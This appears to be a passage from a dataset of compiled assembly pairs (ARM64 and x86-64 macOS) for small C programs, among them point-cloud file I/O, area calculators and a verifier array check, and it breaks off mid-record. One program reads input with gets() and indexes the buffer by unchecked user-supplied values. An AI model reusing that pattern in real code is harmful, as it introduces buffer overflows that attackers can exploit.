add x8, sp, #44
str x8, [x9, #16]
adrp x1, l_.str.3@PAGE
add x1, x1, l_.str.3@PAGEOFF
bl __isoc99_fscanf
ldr w8, [sp, #52]
ldr x9, [sp, #80]
ldrsw x10, [sp, #68]
mov x11, #3
mul x10, x10, x11
strb w8, [x9, x10]
ldr w8, [sp, #48]
ldr x9, [sp, #80]
ldrsw x10, [sp, #68]
mul x10, x10, x11
add x9, x9, x10
strb w8, [x9, #1]
ldr w8, [sp, #44]
ldr x9, [sp, #80]
ldrsw x10, [sp, #68]
mul x10, x10, x11
add x9, x9, x10
strb w8, [x9, #2]
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_4 Depth=1
ldr w8, [sp, #68]
add w8, w8, #1
str w8, [sp, #68]
b LBB0_4
LBB0_7:
ldr x0, [sp, #56]
bl _fclose
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_9
b LBB0_8
LBB0_8:
bl ___stack_chk_fail
LBB0_9:
ldp x29, x30, [sp, #176] ; 16-byte Folded Reload
add sp, sp, #192
ret
.cfi_endproc
; -- End function
.globl _pointcloud_write ; -- Begin function pointcloud_write
.p2align 2
_pointcloud_write: ; @pointcloud_write
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
sturh w1, [x29, #-10]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
adrp x1, l_.str.5@PAGE
add x1, x1, l_.str.5@PAGEOFF
bl _fopen
stur x0, [x29, #-24]
ldur x8, [x29, #-24]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB1_2
LBB1_2:
ldur x8, [x29, #-8]
ldrh w8, [x8, #3072]
sturh w8, [x29, #-34]
ldur x0, [x29, #-24]
ldurh w10, [x29, #-34]
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
adrp x1, l_.str.6@PAGE
add x1, x1, l_.str.6@PAGEOFF
str x1, [sp, #32] ; 8-byte Folded Spill
bl _fprintf
ldr x1, [sp, #32] ; 8-byte Folded Reload
ldur x8, [x29, #-8]
ldrh w8, [x8, #3074]
sturh w8, [x29, #-36]
ldur x0, [x29, #-24]
ldurh w10, [x29, #-36]
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
bl _fprintf
b LBB1_3
LBB1_3:
stur wzr, [x29, #-28]
b LBB1_4
LBB1_4: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-28]
ldurh w9, [x29, #-36]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB1_7
b LBB1_5
LBB1_5: ; in Loop: Header=BB1_4 Depth=1
ldur x8, [x29, #-8]
ldursw x9, [x29, #-28]
mov x10, #3
mul x9, x9, x10
add x8, x8, x9
ldrb w8, [x8]
sturb w8, [x29, #-37]
ldur x8, [x29, #-8]
ldursw x9, [x29, #-28]
mul x9, x9, x10
add x8, x8, x9
ldrb w8, [x8, #1]
sturb w8, [x29, #-38]
ldur x8, [x29, #-8]
ldursw x9, [x29, #-28]
mul x9, x9, x10
add x8, x8, x9
ldrb w8, [x8, #2]
sturb w8, [x29, #-39]
ldur x0, [x29, #-24]
ldurb w12, [x29, #-37]
ldurb w11, [x29, #-38]
ldurb w10, [x29, #-39]
mov x9, sp
; implicit-def: $x8
mov x8, x12
str x8, [x9]
; implicit-def: $x8
mov x8, x11
str x8, [x9, #8]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #16]
adrp x1, l_.str.7@PAGE
add x1, x1, l_.str.7@PAGEOFF
bl _fprintf
b LBB1_6
LBB1_6: ; in Loop: Header=BB1_4 Depth=1
ldur w8, [x29, #-28]
add w8, w8, #1
stur w8, [x29, #-28]
b LBB1_4
LBB1_7:
ldur x0, [x29, #-24]
bl _fclose
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "/home/hanmeng/Documents/tinyFPS/hls/FPS/source/%d.txt"
l_.str.1: ; @.str.1
.asciz "r"
l_.str.2: ; @.str.2
.asciz "file open failed\n"
l_.str.3: ; @.str.3
.asciz "%d %d %d"
l_.str.4: ; @.str.4
.asciz "/home/hanmeng/Documents/tinyFPS/hls/FPS/result/output.txt"
l_.str.5: ; @.str.5
.asciz "w"
l_.str.6: ; @.str.6
.asciz "%d\n"
l_.str.7: ; @.str.7
.asciz "%d %d %d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _pointcloud_read ## -- Begin function pointcloud_read
.p2align 4, 0x90
_pointcloud_read: ## @pointcloud_read
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $144, %rsp
movw %si, %ax
movq ___stack_chk_guard@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movq %rcx, -8(%rbp)
movq %rdi, -104(%rbp)
movw %ax, -106(%rbp)
leaq -96(%rbp), %rdi
movzwl -106(%rbp), %edx
leaq L_.str(%rip), %rsi
movb $0, %al
callq _sprintf
leaq -96(%rbp), %rdi
leaq L_.str.1(%rip), %rsi
callq _fopen
movq %rax, -128(%rbp)
cmpq $0, -128(%rbp)
jne LBB0_2
## %bb.1:
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
LBB0_2:
movw $3, -108(%rbp)
movw $1024, -110(%rbp) ## imm = 0x400
movw -108(%rbp), %cx
movq -104(%rbp), %rax
movw %cx, 3072(%rax)
movw -110(%rbp), %cx
movq -104(%rbp), %rax
movw %cx, 3074(%rax)
## %bb.3:
movl $0, -116(%rbp)
LBB0_4: ## =>This Inner Loop Header: Depth=1
movl -116(%rbp), %eax
movzwl -110(%rbp), %ecx
cmpl %ecx, %eax
jge LBB0_7
## %bb.5: ## in Loop: Header=BB0_4 Depth=1
movq -128(%rbp), %rdi
leaq L_.str.3(%rip), %rsi
leaq -132(%rbp), %rdx
leaq -136(%rbp), %rcx
leaq -140(%rbp), %r8
movb $0, %al
callq __isoc99_fscanf
movl -132(%rbp), %eax
movb %al, %cl
movq -104(%rbp), %rax
movslq -116(%rbp), %rdx
imulq $3, %rdx, %rdx
addq %rdx, %rax
movb %cl, (%rax)
movl -136(%rbp), %eax
movb %al, %cl
movq -104(%rbp), %rax
movslq -116(%rbp), %rdx
imulq $3, %rdx, %rdx
addq %rdx, %rax
movb %cl, 1(%rax)
movl -140(%rbp), %eax
movb %al, %cl
movq -104(%rbp), %rax
movslq -116(%rbp), %rdx
imulq $3, %rdx, %rdx
addq %rdx, %rax
movb %cl, 2(%rax)
## %bb.6: ## in Loop: Header=BB0_4 Depth=1
movl -116(%rbp), %eax
addl $1, %eax
movl %eax, -116(%rbp)
jmp LBB0_4
LBB0_7:
movq -128(%rbp), %rdi
callq _fclose
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_9
## %bb.8:
addq $144, %rsp
popq %rbp
retq
LBB0_9:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _pointcloud_write ## -- Begin function pointcloud_write
.p2align 4, 0x90
_pointcloud_write: ## @pointcloud_write
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movw %si, %ax
movq %rdi, -8(%rbp)
movw %ax, -10(%rbp)
leaq L_.str.4(%rip), %rdi
leaq L_.str.5(%rip), %rsi
callq _fopen
movq %rax, -24(%rbp)
cmpq $0, -24(%rbp)
jne LBB1_2
## %bb.1:
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
LBB1_2:
movq -8(%rbp), %rax
movw 3072(%rax), %ax
movw %ax, -34(%rbp)
movq -24(%rbp), %rdi
movzwl -34(%rbp), %edx
leaq L_.str.6(%rip), %rsi
movb $0, %al
callq _fprintf
movq -8(%rbp), %rax
movw 3074(%rax), %ax
movw %ax, -36(%rbp)
movq -24(%rbp), %rdi
movzwl -36(%rbp), %edx
leaq L_.str.6(%rip), %rsi
movb $0, %al
callq _fprintf
## %bb.3:
movl $0, -28(%rbp)
LBB1_4: ## =>This Inner Loop Header: Depth=1
movl -28(%rbp), %eax
movzwl -36(%rbp), %ecx
cmpl %ecx, %eax
jge LBB1_7
## %bb.5: ## in Loop: Header=BB1_4 Depth=1
movq -8(%rbp), %rax
movslq -28(%rbp), %rcx
imulq $3, %rcx, %rcx
addq %rcx, %rax
movb (%rax), %al
movb %al, -37(%rbp)
movq -8(%rbp), %rax
movslq -28(%rbp), %rcx
imulq $3, %rcx, %rcx
addq %rcx, %rax
movb 1(%rax), %al
movb %al, -38(%rbp)
movq -8(%rbp), %rax
movslq -28(%rbp), %rcx
imulq $3, %rcx, %rcx
addq %rcx, %rax
movb 2(%rax), %al
movb %al, -39(%rbp)
movq -24(%rbp), %rdi
movzbl -37(%rbp), %edx
movzbl -38(%rbp), %ecx
movzbl -39(%rbp), %r8d
leaq L_.str.7(%rip), %rsi
movb $0, %al
callq _fprintf
## %bb.6: ## in Loop: Header=BB1_4 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB1_4
LBB1_7:
movq -24(%rbp), %rdi
callq _fclose
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "/home/hanmeng/Documents/tinyFPS/hls/FPS/source/%d.txt"
L_.str.1: ## @.str.1
.asciz "r"
L_.str.2: ## @.str.2
.asciz "file open failed\n"
L_.str.3: ## @.str.3
.asciz "%d %d %d"
L_.str.4: ## @.str.4
.asciz "/home/hanmeng/Documents/tinyFPS/hls/FPS/result/output.txt"
L_.str.5: ## @.str.5
.asciz "w"
L_.str.6: ## @.str.6
.asciz "%d\n"
L_.str.7: ## @.str.7
.asciz "%d %d %d\n"
.subsections_via_symbols
| the_stack_data/75137239.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
mov w0, #0
str wzr, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $0, -4(%rbp)
xorl %eax, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/1229847.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl ___VERIFIER_assert ; -- Begin function __VERIFIER_assert
.p2align 2
___VERIFIER_assert: ; @__VERIFIER_assert
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
ldur w8, [x29, #-4]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_3
b LBB0_1
LBB0_1:
b LBB0_2
LBB0_2:
bl ___VERIFIER_error
LBB0_3:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #832
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str wzr, [sp, #20]
str wzr, [sp, #16]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #16]
subs w8, w8, #100
cset w8, ge
tbnz w8, #0, LBB1_3
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldrsw x10, [sp, #16]
add x9, sp, #424
mov w8, #42
str w8, [x9, x10, lsl #2]
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB1_1
LBB1_3:
str wzr, [sp, #16]
b LBB1_4
LBB1_4: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #16]
subs w8, w8, #100
cset w8, ge
tbnz w8, #0, LBB1_7
b LBB1_5
LBB1_5: ; in Loop: Header=BB1_4 Depth=1
ldrsw x9, [sp, #16]
add x8, sp, #424
ldr w8, [x8, x9, lsl #2]
ldrsw x10, [sp, #16]
add x9, sp, #24
str w8, [x9, x10, lsl #2]
b LBB1_6
LBB1_6: ; in Loop: Header=BB1_4 Depth=1
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB1_4
LBB1_7:
str wzr, [sp, #16]
b LBB1_8
LBB1_8: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #16]
subs w8, w8, #100
cset w8, ge
tbnz w8, #0, LBB1_11
b LBB1_9
LBB1_9: ; in Loop: Header=BB1_8 Depth=1
ldrsw x9, [sp, #16]
add x8, sp, #24
ldr w8, [x8, x9, lsl #2]
ldr w9, [sp, #16]
add w8, w8, w9
ldrsw x10, [sp, #16]
add x9, sp, #424
str w8, [x9, x10, lsl #2]
b LBB1_10
LBB1_10: ; in Loop: Header=BB1_8 Depth=1
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB1_8
LBB1_11:
str wzr, [sp, #12]
b LBB1_12
LBB1_12: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #12]
subs w8, w8, #100
cset w8, ge
tbnz w8, #0, LBB1_15
b LBB1_13
LBB1_13: ; in Loop: Header=BB1_12 Depth=1
ldrsw x9, [sp, #12]
add x8, sp, #24
ldr w8, [x8, x9, lsl #2]
ldr w9, [sp, #12]
add w9, w9, #42
subs w8, w8, w9
cset w8, eq
and w0, w8, #0x1
bl ___VERIFIER_assert
b LBB1_14
LBB1_14: ; in Loop: Header=BB1_12 Depth=1
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
b LBB1_12
LBB1_15:
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB1_17
b LBB1_16
LBB1_16:
bl ___stack_chk_fail
LBB1_17:
mov w0, #0
add sp, sp, #832
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl ___VERIFIER_assert ## -- Begin function __VERIFIER_assert
.p2align 4, 0x90
___VERIFIER_assert: ## @__VERIFIER_assert
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
cmpl $0, -4(%rbp)
jne LBB0_3
## %bb.1:
jmp LBB0_2
LBB0_2:
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq ___VERIFIER_error
LBB0_3:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $832, %rsp ## imm = 0x340
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -820(%rbp)
movl $0, -824(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
cmpl $100, -824(%rbp)
jge LBB1_3
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movslq -824(%rbp), %rax
movl $42, -416(%rbp,%rax,4)
movl -824(%rbp), %eax
addl $1, %eax
movl %eax, -824(%rbp)
jmp LBB1_1
LBB1_3:
movl $0, -824(%rbp)
LBB1_4: ## =>This Inner Loop Header: Depth=1
cmpl $100, -824(%rbp)
jge LBB1_7
## %bb.5: ## in Loop: Header=BB1_4 Depth=1
movslq -824(%rbp), %rax
movl -416(%rbp,%rax,4), %ecx
movslq -824(%rbp), %rax
movl %ecx, -816(%rbp,%rax,4)
## %bb.6: ## in Loop: Header=BB1_4 Depth=1
movl -824(%rbp), %eax
addl $1, %eax
movl %eax, -824(%rbp)
jmp LBB1_4
LBB1_7:
movl $0, -824(%rbp)
LBB1_8: ## =>This Inner Loop Header: Depth=1
cmpl $100, -824(%rbp)
jge LBB1_11
## %bb.9: ## in Loop: Header=BB1_8 Depth=1
movslq -824(%rbp), %rax
movl -816(%rbp,%rax,4), %ecx
addl -824(%rbp), %ecx
movslq -824(%rbp), %rax
movl %ecx, -416(%rbp,%rax,4)
## %bb.10: ## in Loop: Header=BB1_8 Depth=1
movl -824(%rbp), %eax
addl $1, %eax
movl %eax, -824(%rbp)
jmp LBB1_8
LBB1_11:
movl $0, -828(%rbp)
LBB1_12: ## =>This Inner Loop Header: Depth=1
cmpl $100, -828(%rbp)
jge LBB1_15
## %bb.13: ## in Loop: Header=BB1_12 Depth=1
movslq -828(%rbp), %rax
movl -816(%rbp,%rax,4), %eax
movl -828(%rbp), %ecx
addl $42, %ecx
cmpl %ecx, %eax
sete %al
andb $1, %al
movzbl %al, %edi
callq ___VERIFIER_assert
## %bb.14: ## in Loop: Header=BB1_12 Depth=1
movl -828(%rbp), %eax
addl $1, %eax
movl %eax, -828(%rbp)
jmp LBB1_12
LBB1_15:
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB1_17
## %bb.16:
xorl %eax, %eax
addq $832, %rsp ## imm = 0x340
popq %rbp
retq
LBB1_17:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/795681.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov x9, sp
sub x8, x29, #16
str x8, [x9]
sub x8, x29, #24
str x8, [x9, #8]
add x8, sp, #32
str x8, [x9, #16]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
ldur d0, [x29, #-16]
fcmp d0, #0.0
cset w8, le
tbnz w8, #0, LBB0_4
b LBB0_1
LBB0_1:
ldur d0, [x29, #-24]
fcmp d0, #0.0
cset w8, le
tbnz w8, #0, LBB0_4
b LBB0_2
LBB0_2:
ldr d0, [sp, #32]
fcmp d0, #0.0
cset w8, gt
ands w8, w8, #0x1
cset w8, le
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
ldur d0, [x29, #-16]
ldur d1, [x29, #-24]
fadd d0, d0, d1
ldr d1, [sp, #32]
fmul d0, d0, d1
fmov d1, #2.00000000
fdiv d0, d0, d1
str d0, [sp, #24]
ldr d0, [sp, #24]
mov x8, sp
str d0, [x8]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB0_5
LBB0_4:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
b LBB0_5
LBB0_5:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "informe tr\303\252s valores\n"
l_.str.1: ; @.str.1
.asciz "%lf %lf %lf"
l_.str.2: ; @.str.2
.asciz "A \303\241rea do Trap\303\251zio \303\251 %.2f:\n"
l_.str.3: ; @.str.3
.asciz "N\303\243o pode haver valor negativo entre os n\303\272meros informados\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function main
LCPI0_0:
.quad 0x4000000000000000 ## double 2
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
leaq -16(%rbp), %rsi
leaq -24(%rbp), %rdx
leaq -32(%rbp), %rcx
movb $0, %al
callq _scanf
movsd -16(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jbe LBB0_4
## %bb.1:
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
jbe LBB0_4
## %bb.2:
movsd -32(%rbp), %xmm0 ## xmm0 = mem[0],zero
xorps %xmm1, %xmm1
ucomisd %xmm1, %xmm0
seta %al
andb $1, %al
movzbl %al, %eax
cmpl $0, %eax
jle LBB0_4
## %bb.3:
movsd -16(%rbp), %xmm0 ## xmm0 = mem[0],zero
addsd -24(%rbp), %xmm0
mulsd -32(%rbp), %xmm0
movsd LCPI0_0(%rip), %xmm1 ## xmm1 = mem[0],zero
divsd %xmm1, %xmm0
movsd %xmm0, -40(%rbp)
movsd -40(%rbp), %xmm0 ## xmm0 = mem[0],zero
leaq L_.str.2(%rip), %rdi
movb $1, %al
callq _printf
jmp LBB0_5
LBB0_4:
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
LBB0_5:
movl -4(%rbp), %eax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "informe tr\303\252s valores\n"
L_.str.1: ## @.str.1
.asciz "%lf %lf %lf"
L_.str.2: ## @.str.2
.asciz "A \303\241rea do Trap\303\251zio \303\251 %.2f:\n"
L_.str.3: ## @.str.3
.asciz "N\303\243o pode haver valor negativo entre os n\303\272meros informados\n"
.subsections_via_symbols
| the_stack_data/798360.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #160
.cfi_def_cfa_offset 160
stp x29, x30, [sp, #144] ; 16-byte Folded Spill
add x29, sp, #144
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
add x0, sp, #36
bl _gets
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov x9, sp
add x8, sp, #32
str x8, [x9]
add x8, sp, #28
str x8, [x9, #8]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #32]
ldr w9, [sp, #28]
subs w8, w8, w9
cset w8, hi
tbnz w8, #0, LBB0_4
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #32]
mov x9, x8
add x8, sp, #36
ldrsb w10, [x8, x9]
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #32]
add w8, w8, #1
str w8, [sp, #32]
b LBB0_1
LBB0_4:
mov w0, #10
bl _putchar
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5:
bl ___stack_chk_fail
LBB0_6:
ldp x29, x30, [sp, #144] ; 16-byte Folded Reload
add sp, sp, #160
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Valores: "
l_.str.1: ; @.str.1
.asciz "%i %i"
l_.str.2: ; @.str.2
.asciz "%c"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $128, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
leaq -112(%rbp), %rdi
callq _gets
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
leaq -116(%rbp), %rsi
leaq -120(%rbp), %rdx
movb $0, %al
callq _scanf
LBB0_1: ## =>This Inner Loop Header: Depth=1
movl -116(%rbp), %eax
cmpl -120(%rbp), %eax
ja LBB0_4
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -116(%rbp), %eax
## kill: def $rax killed $eax
movsbl -112(%rbp,%rax), %esi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -116(%rbp), %eax
addl $1, %eax
movl %eax, -116(%rbp)
jmp LBB0_1
LBB0_4:
movl $10, %edi
callq _putchar
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_6
## %bb.5:
addq $128, %rsp
popq %rbp
retq
LBB0_6:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Valores: "
L_.str.1: ## @.str.1
.asciz "%i %i"
L_.str.2: ## @.str.2
.asciz "%c"
.subsections_via_symbols
| the_stack_data/5969.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
fmov s0, #5.00000000
stur s0, [x29, #-4]
fmov s0, #6.00000000
stur s0, [x29, #-8]
ldur s0, [x29, #-4]
fcvt d1, s0
fmov d0, #0.50000000
fmul d0, d0, d1
ldur s1, [x29, #-8]
fcvt d1, s1
fmul d0, d0, d1
fcvt s0, d0
stur s0, [x29, #-12]
ldur s0, [x29, #-12]
fcvt d0, s0
mov x8, sp
str d0, [x8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Area: %f sq cms"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function main
LCPI0_0:
.quad 0x3fe0000000000000 ## double 0.5
.section __TEXT,__literal4,4byte_literals
.p2align 2
LCPI0_1:
.long 0x40c00000 ## float 6
LCPI0_2:
.long 0x40a00000 ## float 5
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
